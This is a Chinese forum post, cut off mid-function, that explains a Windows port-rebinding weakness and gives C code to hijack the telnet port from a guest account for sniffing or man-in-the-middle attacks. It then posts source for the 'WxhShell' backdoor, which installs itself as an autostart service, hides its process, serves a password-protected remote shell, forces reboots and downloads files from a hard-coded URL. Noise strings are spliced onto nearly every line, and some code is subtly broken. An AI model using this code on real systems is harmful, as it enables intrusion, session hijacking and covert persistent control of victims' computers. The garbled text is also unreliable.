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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :Y\ ~[Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9e=}P L  
mLqqo2u  
  saddr.sin_family = AF_INET; zQ |2D*W  
[9${4=Kq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J?w_DQa  
XZ~kXE;B(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .Pponmy  
Ba@~:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UuWIT3W>%  
 ce9P-}d  
  这意味着什么?意味着可以进行如下的攻击: xy7A^7Li  
*: @KpYWx"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n82tZpn  
a8J AJkFB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2+rT .GFc  
b^Z2Vf:k]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G;}WZy  
hHN[K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m2\\!C]f  
6X*vCylI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ku l<Q<  
Ohk\P;}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LDc EjFK(  
NgDhdOB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /"8e,  
|@iM(MM[?  
  #include OUi;f_*[r  
  #include ~ tA ^K  
  #include 5[jcw`  
  #include    .oyAi||  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T0tX%_6`  
  int main() Y2x|6{ #  
  { Gu*y7I8  
  WORD wVersionRequested; 2L~Vr4eHG  
  DWORD ret; {6v.(Zlh$  
  WSADATA wsaData; TQT3]h6  
  BOOL val; bO\++zOF  
  SOCKADDR_IN saddr; ^x\VMd3*w  
  SOCKADDR_IN scaddr; P+o"]/7U  
  int err; G0UaE1n  
  SOCKET s; {P8d^=#q  
  SOCKET sc; 4{YA['  
  int caddsize; /e0B$UymFu  
  HANDLE mt; dn#I,xa`  
  DWORD tid;   f?UI+TU  
  wVersionRequested = MAKEWORD( 2, 2 ); k9}8xpH  
  err = WSAStartup( wVersionRequested, &wsaData ); ;_I>`h"r  
  if ( err != 0 ) { ]&%KU)i?  
  printf("error!WSAStartup failed!\n"); {Nl?  
  return -1; [t?tLUg|6  
  } "Xv} l@  
  saddr.sin_family = AF_INET; 9 8|sWI3 B  
   o1ZVEvp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %^@l5h.lqB  
^YLC{V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5v)^4( )  
  saddr.sin_port = htons(23); ,%TBW,>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B?z2@,  
  { 8OZj24*'DS  
  printf("error!socket failed!\n"); <-v zS;  
  return -1; m[}k]PB>  
  } Ic2?1<IZA  
  val = TRUE; r E+B}O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;qgo=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2R&\qZ<  
  { 7#R)+  
  printf("error!setsockopt failed!\n"); |#2WN-  
  return -1; { LvD\4h"  
  } N:<$]x>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UH!(`Z\C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W~ ~'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i<"lXu  
1,wcf,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ddfGR/1X  
  { ^aSb~lce  
  ret=GetLastError(); -Q n-w3~&  
  printf("error!bind failed!\n"); 4/b.;$  
  return -1; ,W}:vdC  
  } ( V4Ppg  
  listen(s,2); dipfsH]p  
  while(1) %]4Tff  
  { ,m=G9QcN  
  caddsize = sizeof(scaddr); 9-;-jnDy  
  //接受连接请求 N(7 XILC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z\nDR|3  
  if(sc!=INVALID_SOCKET) A9.TRKb=8  
  { ^O_Z5NbC3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); spV7\Gs.@  
  if(mt==NULL) msmW2Zc  
  { 3=.YQE0!dx  
  printf("Thread Creat Failed!\n"); ;bE/(nz M  
  break; ZA(u"T~  
  } Z~J]I|R:  
  } s* (a  
  CloseHandle(mt); 6$R9Y.s>Z  
  } = -2~>B  
  closesocket(s); <,M"kF:  
  WSACleanup(); M`cxxDj&j  
  return 0; g$K\rA  
  }   5s[nE\oaG  
  DWORD WINAPI ClientThread(LPVOID lpParam) J#(AX6  
  { ]{1{XIF  
  SOCKET ss = (SOCKET)lpParam; `MU~N_  
  SOCKET sc; $,}jz.R@  
  unsigned char buf[4096]; R(wUu#n$  
  SOCKADDR_IN saddr; OXEEpoU?V  
  long num; I\Op/`_=E  
  DWORD val; Gm|-[iUTG]  
  DWORD ret; ]=~dyi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OS z71;j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cyCh^- <l@  
  saddr.sin_family = AF_INET; uV5uZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <8:h%%$?  
  saddr.sin_port = htons(23); <F7a!$zQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' h7Faj  
  { QF>T)1&J[7  
  printf("error!socket failed!\n"); &*v\t\]  
  return -1; &en. m>9,  
  } O&l4/RtQ\)  
  val = 100; TDH^x1P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o !tC{"g  
  { A8m06  
  ret = GetLastError(); 1$&@wG  
  return -1; ]DVr-f ~  
  } D>7a0p784  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bIU.C|h@  
  { (7R?T}  
  ret = GetLastError(); y#GHmHeh  
  return -1; Cy;UyZ  
  } q}LDFsU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  lbHgxZ  
  { dbby.%  
  printf("error!socket connect failed!\n");  QHNyH  
  closesocket(sc); ~[%CUc"  
  closesocket(ss); ,CqWm9  
  return -1; 83vMj$P  
  } 3x[C pg,  
  while(1) ;C@mT;hR  
  { PJ5}c!o[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3]*Kz*i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;5tOQ&p%v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jq/itsg  
  num = recv(ss,buf,4096,0); {+67<&g  
  if(num>0) ~IhM(Q*mO!  
  send(sc,buf,num,0); m]n2wmE3n  
  else if(num==0) =~;~hZj  
  break; JN wI{  
  num = recv(sc,buf,4096,0); kvwnqaX  
  if(num>0) \W*L9azr  
  send(ss,buf,num,0); t%}<S~"  
  else if(num==0) R;OPY?EeW  
  break; e0`z~z]6&  
  } hY&Yp^"}]^  
  closesocket(ss); P(shbi@  
  closesocket(sc); VVeJe"!t  
  return 0 ; uPfz'|,  
  } ZO<,V  
`DYhGk  
FOk&z!xYKd  
========================================================== Blxa0&3  
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下边附上一个代码,,WXhSHELL kE:[6reG  
a}y b~:TC  
========================================================== 16L YVvmW  
O(-p md,  
#include "stdafx.h" l e/j!  
5MnP6(3$  
#include <stdio.h> l2Sar1~1  
#include <string.h> JQ%hh&M\0  
#include <windows.h> cACIy yQ  
#include <winsock2.h> KL_ /f   
#include <winsvc.h> !y d B,S  
#include <urlmon.h> d0>U-.  
ce;7  
#pragma comment (lib, "Ws2_32.lib") HP8J\`  
#pragma comment (lib, "urlmon.lib") r XJx~ g  
_KM? ?&  
#define MAX_USER   100 // 最大客户端连接数 }B-$}  
#define BUF_SOCK   200 // sock buffer lUu0AZQmG  
#define KEY_BUFF   255 // 输入 buffer QD@O!}; T  
?\Z pVL<>  
#define REBOOT     0   // 重启 w % Hj'  
#define SHUTDOWN   1   // 关机 M@.l# [@U  
Q5ASN"_  
#define DEF_PORT   5000 // 监听端口 Q4cCg7|0  
(l99a&] t  
#define REG_LEN     16   // 注册表键长度 DzpWU8j  
#define SVC_LEN     80   // NT服务名长度 H\>{<`sD;f  
^{}G4BEY  
// 从dll定义API NTu |cX\R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j=O+U _w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T1d@=&0"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vFk@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lAN&d;NU6Z  
> Z+*tq  
// wxhshell配置信息 Y+"1'W  
struct WSCFG { 6\7c:  
  int ws_port;         // 监听端口 pq) =  
  char ws_passstr[REG_LEN]; // 口令 .) Ej#mk  
  int ws_autoins;       // 安装标记, 1=yes 0=no k?fz @H8D(  
  char ws_regname[REG_LEN]; // 注册表键名 j#//U2VdN  
  char ws_svcname[REG_LEN]; // 服务名 A]bQUWt2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zQ=b|p]|W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z/J?!ee  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;U'\"N9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3= =["hO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,!{8@*!=s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =p;cJ%#2]'  
d_`MS@2  
}; rnK]3Ust  
Wr[LC&  
// default Wxhshell configuration xQ"uC!Gu4  
struct WSCFG wscfg={DEF_PORT, q1VKoKb6\:  
    "xuhuanlingzhe", T ~xVHk1  
    1, (u 7Lh>6%  
    "Wxhshell", 6y^ zC?  
    "Wxhshell", \Eh5g/,[  
            "WxhShell Service", Zv %>m  
    "Wrsky Windows CmdShell Service", ~<_#%R!  
    "Please Input Your Password: ", {"'M2w:|D1  
  1, ? $/::uo  
  "http://www.wrsky.com/wxhshell.exe", qArR5OJ  
  "Wxhshell.exe" ?2"g*Bak  
    }; 8xlj,}QO\  
5ngs1ZF@  
// 消息定义模块 .eN"s'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ={B C0,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i*|HN"!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @|:fm() <  
char *msg_ws_ext="\n\rExit."; 8|Tqk,/pD  
char *msg_ws_end="\n\rQuit."; :gsRJy1  
char *msg_ws_boot="\n\rReboot..."; |mH* I  
char *msg_ws_poff="\n\rShutdown..."; ya2sS9^T[  
char *msg_ws_down="\n\rSave to "; ,WE2.MWR  
`/WxEu3  
char *msg_ws_err="\n\rErr!"; C|]c#X2t3  
char *msg_ws_ok="\n\rOK!"; VrW]|jIu*  
]|3hK/  
char ExeFile[MAX_PATH]; Cj>HMB}  
int nUser = 0; Zz} o  t  
HANDLE handles[MAX_USER]; PY.HZ/#d  
int OsIsNt; uf?;;wg  
sK%b16#  
SERVICE_STATUS       serviceStatus; __}SHU0R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r^Ra`:ca  
ft/k-64  
// 函数声明 \IQG%L{  
int Install(void); Uc!k)o#=  
int Uninstall(void); 3N >V sl  
int DownloadFile(char *sURL, SOCKET wsh); W"%n5)  
int Boot(int flag); .gy:Pl]w  
void HideProc(void); jsAx;Z:QT  
int GetOsVer(void); QDxs+<#  
int Wxhshell(SOCKET wsl); jga; q  
void TalkWithClient(void *cs); (*A@V%H  
int CmdShell(SOCKET sock); 1HO;~NJ]m  
int StartFromService(void); Kii@Z5R_?  
int StartWxhshell(LPSTR lpCmdLine); +j: &_  
X8tPn_`x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vEx'~_+a9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w~6/p  
le^Fik   
// 数据结构和表定义 wbWC &X.  
SERVICE_TABLE_ENTRY DispatchTable[] = ll5;09  
{ \8#[AD*@s2  
{wscfg.ws_svcname, NTServiceMain}, IS8 sJ6")  
{NULL, NULL}  !y@\w  
}; :NLY;B`  
?*V\ -7jg  
// 自我安装 uVgA <*0  
int Install(void) FtJaX])b  
{ !Mw/j`*  
  char svExeFile[MAX_PATH]; ,xU#uyB  
  HKEY key; vs8[352  
  strcpy(svExeFile,ExeFile); >C,0}lj  
oJM; CN  
// 如果是win9x系统,修改注册表设为自启动 MZ%J ]Nd  
if(!OsIsNt) { i@:^b_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -$!r+4|q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  2l,>x  
  RegCloseKey(key); N]yT/8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e_!h>=$%8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jm , :6T  
  RegCloseKey(key); FTUfJIVN(  
  return 0; t!wbT79/  
    } pOK=o$1V8  
  } ;ZB=@@l(  
} Vw ;iE=L  
else { < R"Y^]P=  
PoZ$3V$(Lz  
// 如果是NT以上系统,安装为系统服务 uNy-r`vg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _*}D@yy&  
if (schSCManager!=0) ty!DMg#  
{ Q=!QCDO(  
  SC_HANDLE schService = CreateService * 0K]/tn<  
  ( t[k ['<G  
  schSCManager, >W+,(kAS  
  wscfg.ws_svcname, \ MuKS4  
  wscfg.ws_svcdisp, HpbwW=;V  
  SERVICE_ALL_ACCESS, mmwc'-jU:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Up-^km  
  SERVICE_AUTO_START, %Lx#7bR U  
  SERVICE_ERROR_NORMAL, 1$))@K-I  
  svExeFile, Q~^v=ye  
  NULL, &hVf=We  
  NULL, e8SAjl"}  
  NULL, tZ) ,Z<  
  NULL, :V"e+I  
  NULL xz:  
  ); xNY&*jI  
  if (schService!=0) TH>uL;?=  
  { @6_w{6:b  
  CloseServiceHandle(schService); CZy!nR!  
  CloseServiceHandle(schSCManager); _7v4S/V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R(> oyxA[F  
  strcat(svExeFile,wscfg.ws_svcname); 5 3+C;]J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ixy:S1 pI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1OY 5tq  
  RegCloseKey(key); z xgDaT  
  return 0; m k~F@  
    } 0I)eYksh  
  } MG&vduu  
  CloseServiceHandle(schSCManager); Cjt].XR@  
} Yk{4 3yw  
} FBi&M Z`  
ER`;0#3[9u  
return 1; T*k{^=6"!  
} s Wj:m)  
{o'(_.{  
// 自我卸载 ]q #"8 =  
int Uninstall(void) m{*_%tjN0  
{ 3kr. 'O  
  HKEY key; UM1h[#?&V)  
d|tNn@jN  
if(!OsIsNt) { z\k 6."e_&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hm 0;[i  
  RegDeleteValue(key,wscfg.ws_regname); K_j*9@  
  RegCloseKey(key); L.9@rwfI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \V j7%ph  
  RegDeleteValue(key,wscfg.ws_regname); nKwOSGPQt  
  RegCloseKey(key); ?MRT  
  return 0; N+UBXhh  
  } x;JC{d#  
} x 'i~o'  
} aE]RVyG@L  
else { t:'^pYN:g  
HlxgJw~<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;x)f;!e+  
if (schSCManager!=0) 9D5v0Qi  
{ h^zcM_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )x,-O#"A  
  if (schService!=0) 5p.#nc!;y  
  { lA,[&  
  if(DeleteService(schService)!=0) { LK|rLoia:  
  CloseServiceHandle(schService); xs)SKG*  
  CloseServiceHandle(schSCManager); O8*yho  
  return 0; 1OFrxSg  
  } z4[ 8*}  
  CloseServiceHandle(schService); \!)1n[N  
  } ^x >R #.R  
  CloseServiceHandle(schSCManager); RLh%Y>w  
} #FGj)pu  
} MR":a T  
,PWMl [X  
return 1; 0VgsV;  
}  *% ]&5  
w`Cs,  
// 从指定url下载文件 {bNKyT  
int DownloadFile(char *sURL, SOCKET wsh) n7#}i2:  
{ R4f_Kio  
  HRESULT hr; G7#<Jo<8  
char seps[]= "/"; I~M@v59C  
char *token; F{17K$y  
char *file; X5)].[d  
char myURL[MAX_PATH]; *kGk.a=  
char myFILE[MAX_PATH]; t] G hONN  
k+u L^teyS  
strcpy(myURL,sURL); (ap,3$ hS  
  token=strtok(myURL,seps); L# .vbf  
  while(token!=NULL) Ap(>mUs!i  
  { Qv;^nj{\qV  
    file=token; 3r2e_?m  
  token=strtok(NULL,seps); 2,6|l.WFpE  
  } CVgVyy^  
OYIH**?  
GetCurrentDirectory(MAX_PATH,myFILE); H3 |x  
strcat(myFILE, "\\"); w2]]##J  
strcat(myFILE, file); Kb#Z(C9  
  send(wsh,myFILE,strlen(myFILE),0); T;Ra/H  
send(wsh,"...",3,0); enQev?8%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Hf8<C}3  
  if(hr==S_OK) @3Mp>u/  
return 0; 3AC/;WB9  
else uWrvkLGN  
return 1; Qvhy9Cr;  
nxx&aq(._  
} N9AM% H$7  
s+ ]6X*)  
// 系统电源模块 HqKD]1  
int Boot(int flag) tc<HA7vpt~  
{ S4>1d-  
  HANDLE hToken; K1|xatx1V  
  TOKEN_PRIVILEGES tkp; ?wj1t!83  
L%[b6<  
  if(OsIsNt) { &_<!zJ;Hn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I#:4H2H6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -*0U&]T  
    tkp.PrivilegeCount = 1; |s[k= /~"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UV)!zgP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vt2A/9_Z%  
if(flag==REBOOT) { }Lb[`H,}A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~i9'9PHX@  
  return 0; `^CIOCK%  
} N ._&\fHY  
else { b~EA&dc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {edjvPlk  
  return 0; kiR+ Dsl  
} aL0,=g%  
  } <.c#l':  
  else { 8s<t* pI2  
if(flag==REBOOT) { QR{pph*zn-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %D<>F&h  
  return 0; {wVJv1*l  
} &/]g@^h9  
else { )p+6yH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \m3ca-Y  
  return 0; eQ eucmQd{  
} 4X:S#z  
} KIHr%  
^@AIXBe  
return 1; ]c$)0O\O  
} ;{K/W.R  
A@#D_[~  
// win9x进程隐藏模块 nG !6[^D  
void HideProc(void) }SBpc{ch  
{ f-l(H="e  
}*M>gvPo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yuqt=\? #  
  if ( hKernel != NULL ) fg0zD:@rA  
  { )2y# cM*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w4\g]\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /4#A|;d_  
    FreeLibrary(hKernel); z(_#C s  
  } 0fQMOTpOp  
J^<}fRw  
return; {Z{!tR?+  
} =?gDM[t^  
B|6_4ry0U  
// 获取操作系统版本 QwgP+ M+  
int GetOsVer(void) "1%YtV5R{  
{ EnnE@BJ"  
  OSVERSIONINFO winfo; N3QDPQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Bm _  
  GetVersionEx(&winfo); w>Y!5RnO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &Uu8wFbIJ  
  return 1; :7jDgqn^|i  
  else ;-!j,V+$h  
  return 0; I<^&~==  
} %cFqD &6  
O7D61~G]  
// 客户端句柄模块 x72T5.  
int Wxhshell(SOCKET wsl) $@Kwsoh'  
{ W]= $0'  
  SOCKET wsh; Ym5ji$!2  
  struct sockaddr_in client; ]B3\IT  
  DWORD myID; U *']7-  
k86j& .m_  
  while(nUser<MAX_USER) 55#s/`gd)^  
{ B~t[Gy  
  int nSize=sizeof(client); &d/x1=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  El:&  
  if(wsh==INVALID_SOCKET) return 1; 2qxede  
{m7>9{`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "`&1"*  
if(handles[nUser]==0) 9s@$P7N5B  
  closesocket(wsh); .sR=Mf7T  
else Tkf JC|6  
  nUser++; f15f)P  
  } EsKOzl[c:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hklgf  
>%{H>?Hn  
  return 0; (nLT 8{>0  
} `M.\D  
t,vj)|:  
// 关闭 socket =9y&j-F  
void CloseIt(SOCKET wsh) 5x/LHsr=m  
{ WXX)_L$2  
closesocket(wsh); /7[X_)OG  
nUser--; KR sY `[Y  
ExitThread(0); g;G]Xi.B}  
} Qvl3=[S  
2{fPQQ;#  
// 客户端请求句柄  4fa2_  
void TalkWithClient(void *cs) w_lN[u-L  
{ _@:O&G2nB  
P!K;`4Ika  
  SOCKET wsh=(SOCKET)cs; W2W4w  
  char pwd[SVC_LEN]; .1#G*A|  
  char cmd[KEY_BUFF]; ~|5B   
char chr[1]; #<EMG|&(  
int i,j; >0Gdxj]\  
=!{ E!3>*D  
  while (nUser < MAX_USER) { Qq*Ks 5   
C.Ty\@U  
if(wscfg.ws_passstr) { m6 @,J?X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QkU6eE<M*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (D1$&  
  //ZeroMemory(pwd,KEY_BUFF); moT*r?l  
      i=0; mO(A'p "b  
  while(i<SVC_LEN) { &h_do8R  
g:]X '%Ub  
  // 设置超时 BA(PWX`H  
  fd_set FdRead; yhJA{nL=  
  struct timeval TimeOut; QssU\@ / Q  
  FD_ZERO(&FdRead); q6a7o=BP]  
  FD_SET(wsh,&FdRead); D +Ui1h-  
  TimeOut.tv_sec=8; w:+wx/\  
  TimeOut.tv_usec=0; Z.rR)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (+lCh7.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ('Doy1L  
nkii0YB!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8^>qzaf 8  
  pwd=chr[0]; C^8n;i9  
  if(chr[0]==0xd || chr[0]==0xa) { |E5\_Z  
  pwd=0; ZxvBo4>tH  
  break; Kdr7JQYzuz  
  } Ia!B8$$'RP  
  i++; ywj'S7~A  
    } \mGo k<b4  
.qAlPe L:  
  // 如果是非法用户,关闭 socket $G}!eV 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9w:9XziT  
} bj$VYS"kY  
1Q>D^yPI[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y `ySNC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E@%9u#  
S?K x:]  
while(1) { $$f89, h  
5eJMu=UpR  
  ZeroMemory(cmd,KEY_BUFF); 09L"~:rg  
Q$XNs%7w5,  
      // 自动支持客户端 telnet标准   (N 0kTi]b  
  j=0; |O4LR,{G.w  
  while(j<KEY_BUFF) { rf=ndjrH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZW)_dg9  
  cmd[j]=chr[0]; -gK*&n~  
  if(chr[0]==0xa || chr[0]==0xd) { vn5O8sD  
  cmd[j]=0; {Ne5*HFV  
  break; _(1Shm  
  }  ; V)jC  
  j++; zPn 2  
    } 9_ru*j\  
!)-)*T  
  // 下载文件 g;mX{p_@  
  if(strstr(cmd,"http://")) { A8oTcX_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jhF&   
  if(DownloadFile(cmd,wsh)) X5w_ }Nhe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])tUXU>  
  else }{y(&Oy3Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7*I:cga  
  } )p!.V( ,  
  else { _6!@>`u~  
&$L6*+`h#  
    switch(cmd[0]) { 5zi}O GtXv  
  V N<omi+4  
  // 帮助 J@lQzRqRb  
  case '?': { "eG@F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Q4i<4 XW  
    break; 7Adg;  
  } U6x$R O!  
  // 安装 o>i@2_r\&H  
  case 'i': {  TnXx;v  
    if(Install()) XT` 2Z=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M,we9];N  
    else Q@0Zh, l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3]wV 1<K  
    break; tRu j}n+x  
    } Uy98lv  
  // 卸载 @t{`KB+ ^  
  case 'r': { "OWW -m  
    if(Uninstall()) -|g9__|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )kk10AZV-E  
    else #w6ty<b;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e<+$E%"7hS  
    break; Rx,5?*b$  
    } g)L<xN8  
  // 显示 wxhshell 所在路径 [M/0Qx[,  
  case 'p': { ,`,1s 9\&t  
    char svExeFile[MAX_PATH]; NE5H\  
    strcpy(svExeFile,"\n\r"); Z66h  
      strcat(svExeFile,ExeFile); cyTBp58  
        send(wsh,svExeFile,strlen(svExeFile),0); Xc8 XgZk  
    break; yE{\]j| Zf  
    } OuMj%I  
  // 重启 dC(5I{I|  
  case 'b': { =)YDjd_=z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FaQz03N\  
    if(Boot(REBOOT)) z0T9tN!(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7#+>1 "\  
    else { C'.^2s#e8  
    closesocket(wsh); 'PWX19  
    ExitThread(0); y%!zXK`cl]  
    } {!>'# F^e  
    break; /1h ${mo~  
    } d.xT8l}sS  
  // 关机 Y. Uca<{.[  
  case 'd': { @p%WFNR0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w\lc;4U   
